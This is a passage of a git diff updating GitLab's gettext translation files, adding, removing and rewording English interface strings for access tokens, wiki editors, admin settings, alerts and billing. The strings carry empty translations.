msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index 3ff40e8febd..9e6bcc622d0 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:28\n"
+"PO-Revision-Date: 2021-07-01 21:11\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
